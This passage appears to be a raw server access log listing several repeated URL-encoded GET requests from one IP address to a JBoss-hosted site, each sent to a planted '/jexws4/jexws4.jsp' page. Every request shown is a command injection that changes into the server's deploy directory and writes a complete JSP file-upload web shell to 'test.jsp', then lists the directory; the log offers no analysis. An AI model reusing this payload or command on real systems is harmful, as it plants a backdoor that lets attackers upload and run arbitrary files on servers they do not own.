5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783275196 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783269101 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783214611 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr